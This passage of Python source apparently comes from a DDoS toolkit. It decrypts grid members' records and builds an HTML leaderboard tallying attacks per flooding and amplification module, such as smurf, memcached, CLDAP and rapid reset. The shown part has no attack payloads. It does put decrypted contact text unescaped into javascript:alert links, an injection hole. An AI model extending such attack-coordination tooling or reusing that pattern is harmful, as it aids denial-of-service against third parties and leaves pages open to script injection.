  7376. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  7377. self.decrypt(grid_key, grid_ufosyn)
  7378. if self.decryptedtext:
  7379. grid_ufosyn = self.decryptedtext
  7380. else:
  7381. grid_ufosyn = nodec_text
  7382. self.decryptedtext = "" # clean decryptedtext buffer
  7383. try: # parse for int
  7384. grid_ufosyn = int(grid_ufosyn)
  7385. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  7386. except:
  7387. grid_ufosyn = nodec_text
  7388. if version > 17 or version == 17 or version == 16 or version == 15:
  7389. grid_spray = m[11] # spray
  7390. self.decrypt(grid_key, grid_spray)
  7391. if self.decryptedtext:
  7392. grid_spray = self.decryptedtext
  7393. else:
  7394. grid_spray = nodec_text
  7395. self.decryptedtext = "" # clean decryptedtext buffer
  7396. try: # parse for int
  7397. grid_spray = int(grid_spray)
  7398. mothership_spray = mothership_spray + grid_spray
  7399. except:
  7400. grid_spray = nodec_text
  7401. else:
  7402. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  7403. self.decrypt(grid_key, grid_spray)
  7404. if self.decryptedtext:
  7405. grid_spray = self.decryptedtext
  7406. else:
  7407. grid_spray = nodec_text
  7408. self.decryptedtext = "" # clean decryptedtext buffer
  7409. try: # parse for int
  7410. grid_spray = int(grid_spray)
  7411. mothership_spray = mothership_spray + grid_spray
  7412. except:
  7413. grid_spray = nodec_text
  7414. if version > 17 or version == 17 or version == 16 or version == 15:
  7415. grid_smurf = m[12] # smurf
  7416. self.decrypt(grid_key, grid_smurf)
  7417. if self.decryptedtext:
  7418. grid_smurf = self.decryptedtext
  7419. else:
  7420. grid_smurf = nodec_text
  7421. self.decryptedtext = "" # clean decryptedtext buffer
  7422. try: # parse for int
  7423. grid_smurf = int(grid_smurf)
  7424. mothership_smurf = mothership_smurf + grid_smurf
  7425. except:
  7426. grid_smurf = nodec_text
  7427. else:
  7428. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  7429. self.decrypt(grid_key, grid_smurf)
  7430. if self.decryptedtext:
  7431. grid_smurf = self.decryptedtext
  7432. else:
  7433. grid_smurf = nodec_text
  7434. self.decryptedtext = "" # clean decryptedtext buffer
  7435. try: # parse for int
  7436. grid_smurf = int(grid_smurf)
  7437. mothership_smurf = mothership_smurf + grid_smurf
  7438. except:
  7439. grid_smurf = nodec_text
  7440. if version > 17 or version == 17 or version == 16 or version == 15:
  7441. grid_xmas = m[13] # xmas
  7442. self.decrypt(grid_key, grid_xmas)
  7443. if self.decryptedtext:
  7444. grid_xmas = self.decryptedtext
  7445. else:
  7446. grid_xmas = nodec_text
  7447. self.decryptedtext = "" # clean decryptedtext buffer
  7448. try: # parse for int
  7449. grid_xmas = int(grid_xmas)
  7450. mothership_xmas = mothership_xmas + grid_xmas
  7451. except:
  7452. grid_xmas = nodec_text
  7453. else:
  7454. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  7455. self.decrypt(grid_key, grid_xmas)
  7456. if self.decryptedtext:
  7457. grid_xmas = self.decryptedtext
  7458. else:
  7459. grid_xmas = nodec_text
  7460. self.decryptedtext = "" # clean decryptedtext buffer
  7461. try: # parse for int
  7462. grid_xmas = int(grid_xmas)
  7463. mothership_xmas = mothership_xmas + grid_xmas
  7464. except:
  7465. grid_xmas = nodec_text
  7466. if version > 17 or version == 17 or version == 16:
  7467. grid_nuke = m[14] # nuke
  7468. self.decrypt(grid_key, grid_nuke)
  7469. if self.decryptedtext:
  7470. grid_nuke = self.decryptedtext
  7471. else:
  7472. grid_nuke = nodec_text
  7473. self.decryptedtext = "" # clean decryptedtext buffer
  7474. try: # parse for int
  7475. grid_nuke = int(grid_nuke)
  7476. mothership_nuke = mothership_nuke + grid_nuke
  7477. except:
  7478. grid_nuke = nodec_text
  7479. else:
  7480. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  7481. self.decrypt(grid_key, grid_nuke)
  7482. if self.decryptedtext:
  7483. grid_nuke = self.decryptedtext
  7484. else:
  7485. grid_nuke = nodec_text
  7486. self.decryptedtext = "" # clean decryptedtext buffer
  7487. try: # parse for int
  7488. grid_nuke = int(grid_nuke)
  7489. mothership_nuke = mothership_nuke + grid_nuke
  7490. except:
  7491. grid_nuke = nodec_text
  7492. if version > 17 or version == 17:
  7493. grid_tachyon = m[15] # tachyon
  7494. self.decrypt(grid_key, grid_tachyon)
  7495. if self.decryptedtext:
  7496. grid_tachyon = self.decryptedtext
  7497. else:
  7498. grid_tachyon = nodec_text
  7499. self.decryptedtext = "" # clean decryptedtext buffer
  7500. try: # parse for int
  7501. grid_tachyon = int(grid_tachyon)
  7502. mothership_tachyon = mothership_tachyon + grid_tachyon
  7503. except:
  7504. grid_tachyon = nodec_text
  7505. else:
  7506. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  7507. self.decrypt(grid_key, grid_tachyon)
  7508. if self.decryptedtext:
  7509. grid_tachyon = self.decryptedtext
  7510. else:
  7511. grid_tachyon = nodec_text
  7512. self.decryptedtext = "" # clean decryptedtext buffer
  7513. try: # parse for int
  7514. grid_tachyon = int(grid_tachyon)
  7515. mothership_tachyon = mothership_tachyon + grid_tachyon
  7516. except:
  7517. grid_tachyon = nodec_text
  7518. if version > 17:
  7519. grid_monlist = m[16] # monlist
  7520. self.decrypt(grid_key, grid_monlist)
  7521. if self.decryptedtext:
  7522. grid_monlist = self.decryptedtext
  7523. else:
  7524. grid_monlist = nodec_text
  7525. self.decryptedtext = "" # clean decryptedtext buffer
  7526. try: # parse for int
  7527. grid_monlist = int(grid_monlist)
  7528. mothership_monlist = mothership_monlist + grid_monlist
  7529. except:
  7530. grid_monlist = nodec_text
  7531. grid_fraggle = m[17] # fraggle
  7532. self.decrypt(grid_key, grid_fraggle)
  7533. if self.decryptedtext:
  7534. grid_fraggle = self.decryptedtext
  7535. else:
  7536. grid_fraggle = nodec_text
  7537. self.decryptedtext = "" # clean decryptedtext buffer
  7538. try: # parse for int
  7539. grid_fraggle = int(grid_fraggle)
  7540. mothership_fraggle = mothership_fraggle + grid_fraggle
  7541. except:
  7542. grid_fraggle = nodec_text
  7543. grid_sniper = m[18] # sniper
  7544. self.decrypt(grid_key, grid_sniper)
  7545. if self.decryptedtext:
  7546. grid_sniper = self.decryptedtext
  7547. else:
  7548. grid_sniper = nodec_text
  7549. self.decryptedtext = "" # clean decryptedtext buffer
  7550. try: # parse for int
  7551. grid_sniper = int(grid_sniper)
  7552. mothership_sniper = mothership_sniper + grid_sniper
  7553. except:
  7554. grid_sniper = nodec_text
  7555. grid_ufoack = m[19] # ufoack
  7556. self.decrypt(grid_key, grid_ufoack)
  7557. if self.decryptedtext:
  7558. grid_ufoack = self.decryptedtext
  7559. else:
  7560. grid_ufoack = nodec_text
  7561. self.decryptedtext = "" # clean decryptedtext buffer
  7562. try: # parse for int
  7563. grid_ufoack = int(grid_ufoack)
  7564. mothership_ufoack = mothership_ufoack + grid_ufoack
  7565. except:
  7566. grid_ufoack = nodec_text
  7567. grid_uforst = m[20] # uforst
  7568. self.decrypt(grid_key, grid_uforst)
  7569. if self.decryptedtext:
  7570. grid_uforst = self.decryptedtext
  7571. else:
  7572. grid_uforst = nodec_text
  7573. self.decryptedtext = "" # clean decryptedtext buffer
  7574. try: # parse for int
  7575. grid_uforst = int(grid_uforst)
  7576. mothership_uforst = mothership_uforst + grid_uforst
  7577. except:
  7578. grid_uforst = nodec_text
  7579. grid_droper = m[21] # droper
  7580. self.decrypt(grid_key, grid_droper)
  7581. if self.decryptedtext:
  7582. grid_droper = self.decryptedtext
  7583. else:
  7584. grid_droper = nodec_text
  7585. self.decryptedtext = "" # clean decryptedtext buffer
  7586. try: # parse for int
  7587. grid_droper = int(grid_droper)
  7588. mothership_droper = mothership_droper + grid_droper
  7589. except:
  7590. grid_droper = nodec_text
  7591. grid_overlap = m[22] # overlap
  7592. self.decrypt(grid_key, grid_overlap)
  7593. if self.decryptedtext:
  7594. grid_overlap = self.decryptedtext
  7595. else:
  7596. grid_overlap = nodec_text
  7597. self.decryptedtext = "" # clean decryptedtext buffer
  7598. try: # parse for int
  7599. grid_overlap = int(grid_overlap)
  7600. mothership_overlap = mothership_overlap + grid_overlap
  7601. except:
  7602. grid_overlap = nodec_text
  7603. grid_pinger = m[23] # pinger
  7604. self.decrypt(grid_key, grid_pinger)
  7605. if self.decryptedtext:
  7606. grid_pinger = self.decryptedtext
  7607. else:
  7608. grid_pinger = nodec_text
  7609. self.decryptedtext = "" # clean decryptedtext buffer
  7610. try: # parse for int
  7611. grid_pinger = int(grid_pinger)
  7612. mothership_pinger = mothership_pinger + grid_pinger
  7613. except:
  7614. grid_pinger = nodec_text
  7615. grid_ufoudp = m[24] # ufoudp
  7616. self.decrypt(grid_key, grid_ufoudp)
  7617. if self.decryptedtext:
  7618. grid_ufoudp = self.decryptedtext
  7619. else:
  7620. grid_ufoudp = nodec_text
  7621. self.decryptedtext = "" # clean decryptedtext buffer
  7622. try: # parse for int
  7623. grid_ufoudp = int(grid_ufoudp)
  7624. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  7625. except:
  7626. grid_ufoudp = nodec_text
  7627. if version > 26: # v2.0: 18 new mods at positions 25-42
  7628. _new_pos = [
  7629. (25, 'memcached'), (26, 'chargen'), (27, 'cldap'), (28, 'ssdp'),
  7630. (29, 'qotd'), (30, 'tftp'), (31, 'wsdisco'), (32, 'coap'),
  7631. (33, 'mssql'), (34, 'arms'), (35, 'plex'), (36, 'netbios'),
  7632. (37, 'ripv1'), (38, 'middlebox'), (39, 'slowread'),
  7633. (40, 'goldeneye'), (41, 'rapidreset'), (42, 'finflood'),
  7634. ]
  7635. for _idx, _name in _new_pos:
  7636. try:
  7637. _enc = m[_idx]
  7638. except Exception:
  7639. _enc = ""
  7640. self.decrypt(grid_key, _enc)
  7641. _dec = self.decryptedtext if self.decryptedtext else nodec_text
  7642. self.decryptedtext = ""
  7643. try:
  7644. _dec_int = int(_dec)
  7645. if _name == 'memcached': mothership_memcached = mothership_memcached + _dec_int; grid_memcached = _dec_int
  7646. elif _name == 'chargen': mothership_chargen = mothership_chargen + _dec_int; grid_chargen = _dec_int
  7647. elif _name == 'cldap': mothership_cldap = mothership_cldap + _dec_int; grid_cldap = _dec_int
  7648. elif _name == 'ssdp': mothership_ssdp = mothership_ssdp + _dec_int; grid_ssdp = _dec_int
  7649. elif _name == 'qotd': mothership_qotd = mothership_qotd + _dec_int; grid_qotd = _dec_int
  7650. elif _name == 'tftp': mothership_tftp = mothership_tftp + _dec_int; grid_tftp = _dec_int
  7651. elif _name == 'wsdisco': mothership_wsdisco = mothership_wsdisco + _dec_int; grid_wsdisco = _dec_int
  7652. elif _name == 'coap': mothership_coap = mothership_coap + _dec_int; grid_coap = _dec_int
  7653. elif _name == 'mssql': mothership_mssql = mothership_mssql + _dec_int; grid_mssql = _dec_int
  7654. elif _name == 'arms': mothership_arms = mothership_arms + _dec_int; grid_arms = _dec_int
  7655. elif _name == 'plex': mothership_plex = mothership_plex + _dec_int; grid_plex = _dec_int
  7656. elif _name == 'netbios': mothership_netbios = mothership_netbios + _dec_int; grid_netbios = _dec_int
  7657. elif _name == 'ripv1': mothership_ripv1 = mothership_ripv1 + _dec_int; grid_ripv1 = _dec_int
  7658. elif _name == 'middlebox': mothership_middlebox = mothership_middlebox + _dec_int; grid_middlebox = _dec_int
  7659. elif _name == 'slowread': mothership_slowread = mothership_slowread + _dec_int; grid_slowread = _dec_int
  7660. elif _name == 'goldeneye': mothership_goldeneye = mothership_goldeneye + _dec_int; grid_goldeneye = _dec_int
  7661. elif _name == 'rapidreset':mothership_rapidreset = mothership_rapidreset + _dec_int; grid_rapidreset = _dec_int
  7662. elif _name == 'finflood': mothership_finflood = mothership_finflood + _dec_int; grid_finflood = _dec_int
  7663. except Exception:
  7664. if _name == 'memcached': grid_memcached = nodec_text
  7665. elif _name == 'chargen': grid_chargen = nodec_text
  7666. elif _name == 'cldap': grid_cldap = nodec_text
  7667. elif _name == 'ssdp': grid_ssdp = nodec_text
  7668. elif _name == 'qotd': grid_qotd = nodec_text
  7669. elif _name == 'tftp': grid_tftp = nodec_text
  7670. elif _name == 'wsdisco': grid_wsdisco = nodec_text
  7671. elif _name == 'coap': grid_coap = nodec_text
  7672. elif _name == 'mssql': grid_mssql = nodec_text
  7673. elif _name == 'arms': grid_arms = nodec_text
  7674. elif _name == 'plex': grid_plex = nodec_text
  7675. elif _name == 'netbios': grid_netbios = nodec_text
  7676. elif _name == 'ripv1': grid_ripv1 = nodec_text
  7677. elif _name == 'middlebox': grid_middlebox = nodec_text
  7678. elif _name == 'slowread': grid_slowread = nodec_text
  7679. elif _name == 'goldeneye': grid_goldeneye = nodec_text
  7680. elif _name == 'rapidreset':grid_rapidreset = nodec_text
  7681. elif _name == 'finflood': grid_finflood = nodec_text
  7682. else:
  7683. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  7684. self.decrypt(grid_key, grid_monlist)
  7685. if self.decryptedtext:
  7686. grid_monlist = self.decryptedtext
  7687. else:
  7688. grid_monlist = nodec_text
  7689. self.decryptedtext = "" # clean decryptedtext buffer
  7690. try: # parse for int
  7691. grid_monlist = int(grid_monlist)
  7692. mothership_monlist = mothership_monlist + grid_monlist
  7693. except:
  7694. grid_monlist = nodec_text
  7695. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  7696. self.decrypt(grid_key, grid_fraggle)
  7697. if self.decryptedtext:
  7698. grid_fraggle = self.decryptedtext
  7699. else:
  7700. grid_fraggle = nodec_text
  7701. self.decryptedtext = "" # clean decryptedtext buffer
  7702. try: # parse for int
  7703. grid_fraggle = int(grid_fraggle)
  7704. mothership_fraggle = mothership_fraggle + grid_fraggle
  7705. except:
  7706. grid_fraggle = nodec_text
  7707. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  7708. self.decrypt(grid_key, grid_sniper)
  7709. if self.decryptedtext:
  7710. grid_sniper = self.decryptedtext
  7711. else:
  7712. grid_sniper = nodec_text
  7713. self.decryptedtext = "" # clean decryptedtext buffer
  7714. try: # parse for int
  7715. grid_sniper = int(grid_sniper)
  7716. mothership_sniper = mothership_sniper + grid_sniper
  7717. except:
  7718. grid_sniper = nodec_text
  7719. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  7720. self.decrypt(grid_key, grid_ufoack)
  7721. if self.decryptedtext:
  7722. grid_ufoack = self.decryptedtext
  7723. else:
  7724. grid_ufoack = nodec_text
  7725. self.decryptedtext = "" # clean decryptedtext buffer
  7726. try: # parse for int
  7727. grid_ufoack = int(grid_ufoack)
  7728. mothership_ufoack = mothership_ufoack + grid_ufoack
  7729. except:
  7730. grid_ufoack = nodec_text
  7731. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  7732. self.decrypt(grid_key, grid_uforst)
  7733. if self.decryptedtext:
  7734. grid_uforst = self.decryptedtext
  7735. else:
  7736. grid_uforst = nodec_text
  7737. self.decryptedtext = "" # clean decryptedtext buffer
  7738. try: # parse for int
  7739. grid_uforst = int(grid_uforst)
  7740. mothership_uforst = mothership_uforst + grid_uforst
  7741. except:
  7742. grid_uforst = nodec_text
  7743. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  7744. self.decrypt(grid_key, grid_droper)
  7745. if self.decryptedtext:
  7746. grid_droper = self.decryptedtext
  7747. else:
  7748. grid_droper = nodec_text
  7749. self.decryptedtext = "" # clean decryptedtext buffer
  7750. try: # parse for int
  7751. grid_droper = int(grid_droper)
  7752. mothership_droper = mothership_droper + grid_droper
  7753. except:
  7754. grid_droper = nodec_text
  7755. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  7756. self.decrypt(grid_key, grid_overlap)
  7757. if self.decryptedtext:
  7758. grid_overlap = self.decryptedtext
  7759. else:
  7760. grid_overlap = nodec_text
  7761. self.decryptedtext = "" # clean decryptedtext buffer
  7762. try: # parse for int
  7763. grid_overlap = int(grid_overlap)
  7764. mothership_overlap = mothership_overlap + grid_overlap
  7765. except:
  7766. grid_overlap = nodec_text
  7767. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  7768. self.decrypt(grid_key, grid_pinger)
  7769. if self.decryptedtext:
  7770. grid_pinger = self.decryptedtext
  7771. else:
  7772. grid_pinger = nodec_text
  7773. self.decryptedtext = "" # clean decryptedtext buffer
  7774. try: # parse for int
  7775. grid_pinger = int(grid_pinger)
  7776. mothership_pinger = mothership_pinger + grid_pinger
  7777. except:
  7778. grid_pinger = nodec_text
  7779. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  7780. self.decrypt(grid_key, grid_ufoudp)
  7781. if self.decryptedtext:
  7782. grid_ufoudp = self.decryptedtext
  7783. else:
  7784. grid_ufoudp = nodec_text
  7785. self.decryptedtext = "" # clean decryptedtext buffer
  7786. try: # parse for int
  7787. grid_ufoudp = int(grid_ufoudp)
  7788. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  7789. except:
  7790. grid_ufoudp = nodec_text
  7791. if version == 26:
  7792. grid_contact = m[25] # contact
  7793. self.decrypt(grid_key, grid_contact)
  7794. if self.decryptedtext:
  7795. grid_contact = self.decryptedtext
  7796. else:
  7797. grid_contact = nodec_text
  7798. self.decryptedtext = "" # clean decryptedtext buffer
  7799. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[25] = grid_contact (>str3<str120)
  7800. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7801. else:
  7802. try:
  7803. grid_contact = grid_contact.replace("b'", "")
  7804. grid_contact = grid_contact.replace("'", "")
  7805. if " " in grid_contact: # m[25] = grid_contact
  7806. grid_contact = grid_contact.replace(" ","")
  7807. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7808. except:
  7809. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7810. try:
  7811. grid_id = m[26] # id
  7812. except:
  7813. grid_id = '6666666666666666666666666666666666666' # fake id
  7814. elif version == 17:
  7815. grid_contact = m[16] # contact
  7816. self.decrypt(grid_key, grid_contact)
  7817. if self.decryptedtext:
  7818. grid_contact = self.decryptedtext
  7819. else:
  7820. grid_contact = nodec_text
  7821. self.decryptedtext = "" # clean decryptedtext buffer
  7822. grid_contact = str(grid_contact) # contact
  7823. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  7824. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7825. else:
  7826. try:
  7827. if " " in grid_contact: # m[16] = grid_contact
  7828. grid_contact = grid_contact.replace(" ","")
  7829. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7830. except:
  7831. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7832. try:
  7833. grid_id = m[17] # id
  7834. except:
  7835. grid_id = '6666666666666666666666666666666666666' # fake id
  7836. elif version == 16:
  7837. grid_contact = m[15] # contact
  7838. self.decrypt(grid_key, grid_contact)
  7839. if self.decryptedtext:
  7840. grid_contact = self.decryptedtext
  7841. else:
  7842. grid_contact = nodec_text
  7843. self.decryptedtext = "" # clean decryptedtext buffer
  7844. grid_contact = str(grid_contact) # contact
  7845. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  7846. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7847. else:
  7848. try:
  7849. if " " in grid_contact: # m[15] = grid_contact
  7850. grid_contact = grid_contact.replace(" ","")
  7851. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7852. except:
  7853. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7854. try:
  7855. grid_id = m[16] # id
  7856. except:
  7857. grid_id = '6666666666666666666666666666666666666' # fake id
  7858. elif version == 15:
  7859. grid_contact = m[14] # contact
  7860. self.decrypt(grid_key, grid_contact)
  7861. if self.decryptedtext:
  7862. grid_contact = self.decryptedtext
  7863. else:
  7864. grid_contact = nodec_text
  7865. self.decryptedtext = "" # clean decryptedtext buffer
  7866. grid_contact = str(grid_contact) # contact
  7867. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  7868. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7869. else:
  7870. try:
  7871. if " " in grid_contact: # m[14] = grid_contact
  7872. grid_contact = grid_contact.replace(" ","")
  7873. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7874. except:
  7875. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7876. try:
  7877. grid_id = m[15] # id
  7878. except:
  7879. grid_id = '6666666666666666666666666666666666666' # fake id
  7880. elif version == 12:
  7881. grid_contact = m[11] # contact
  7882. self.decrypt(grid_key, grid_contact)
  7883. if self.decryptedtext:
  7884. grid_contact = self.decryptedtext
  7885. else:
  7886. grid_contact = nodec_text
  7887. self.decryptedtext = "" # clean decryptedtext buffer
  7888. grid_contact = str(grid_contact) # contact
  7889. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  7890. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7891. else:
  7892. try:
  7893. if " " in grid_contact: # m[11] = grid_contact
  7894. grid_contact = grid_contact.replace(" ","")
  7895. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7896. except:
  7897. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7898. try:
  7899. grid_id = m[12] # id
  7900. except:
  7901. grid_id = '6666666666666666666666666666666666666' # fake id
  7902. elif version == 11:
  7903. grid_contact = m[10] # contact
  7904. self.decrypt(grid_key, grid_contact)
  7905. if self.decryptedtext:
  7906. grid_contact = self.decryptedtext
  7907. else:
  7908. grid_contact = nodec_text
  7909. self.decryptedtext = "" # clean decryptedtext buffer
  7910. grid_contact = str(grid_contact) # contact
  7911. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  7912. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7913. else:
  7914. try:
  7915. if " " in grid_contact: # m[10] = grid_contact
  7916. grid_contact = grid_contact.replace(" ","")
  7917. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7918. except:
  7919. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7920. try:
  7921. grid_id = m[11] # id
  7922. except:
  7923. grid_id = '6666666666666666666666666666666666666' # fake id
  7924. elif version == 10:
  7925. grid_contact = m[9] # contact
  7926. self.decrypt(grid_key, grid_contact)
  7927. if self.decryptedtext:
  7928. grid_contact = self.decryptedtext
  7929. else:
  7930. grid_contact = nodec_text
  7931. self.decryptedtext = "" # clean decryptedtext buffer
  7932. grid_contact = str(grid_contact) # contact
  7933. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  7934. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7935. else:
  7936. try:
  7937. if " " in grid_contact: # m[9] = grid_contact
  7938. grid_contact = grid_contact.replace(" ","")
  7939. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7940. except:
  7941. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7942. try:
  7943. grid_id = m[10] # id
  7944. except:
  7945. grid_id = '6666666666666666666666666666666666666' # fake id
  7946. else:
  7947. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7948. grid_id = '6666666666666666666666666666666666666' # fake id
  7949. try: # parsing for valid stream struct
  7950. grid_ranking = str(grid_ranking)
  7951. if grid_ranking == nodec_text: # hide any data when user is encrypted
  7952. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  7953. grid_table += "<tr>" + ("<td align='center'>"+str(nodec_text)+"</td>")*25 + ("<td align='center'>"+str(nodec_text)+"</td>")*18 + "<td align='center'>"+str(grid_contact)+"</td></tr>"
  7954. else:
  7955. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_memcached)+"</td><td align='center'>"+str(grid_chargen)+"</td><td align='center'>"+str(grid_cldap)+"</td><td align='center'>"+str(grid_ssdp)+"</td><td align='center'>"+str(grid_qotd)+"</td><td align='center'>"+str(grid_tftp)+"</td><td align='center'>"+str(grid_wsdisco)+"</td><td align='center'>"+str(grid_coap)+"</td><td align='center'>"+str(grid_mssql)+"</td><td align='center'>"+str(grid_arms)+"</td><td align='center'>"+str(grid_plex)+"</td><td align='center'>"+str(grid_netbios)+"</td><td align='center'>"+str(grid_ripv1)+"</td><td align='center'>"+str(grid_middlebox)+"</td><td align='center'>"+str(grid_slowread)+"</td><td align='center'>"+str(grid_goldeneye)+"</td><td align='center'>"+str(grid_rapidreset)+"</td><td align='center'>"+str(grid_finflood)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  7956. except:
  7957. grid_table += "<tr>" + ("<td align='center'>ERROR!</td>")*43 + "</tr>"
  7958. grid_table += "</table><br>"
  7959. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  7960. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr><tr><td>FRAGGLE:</td><td 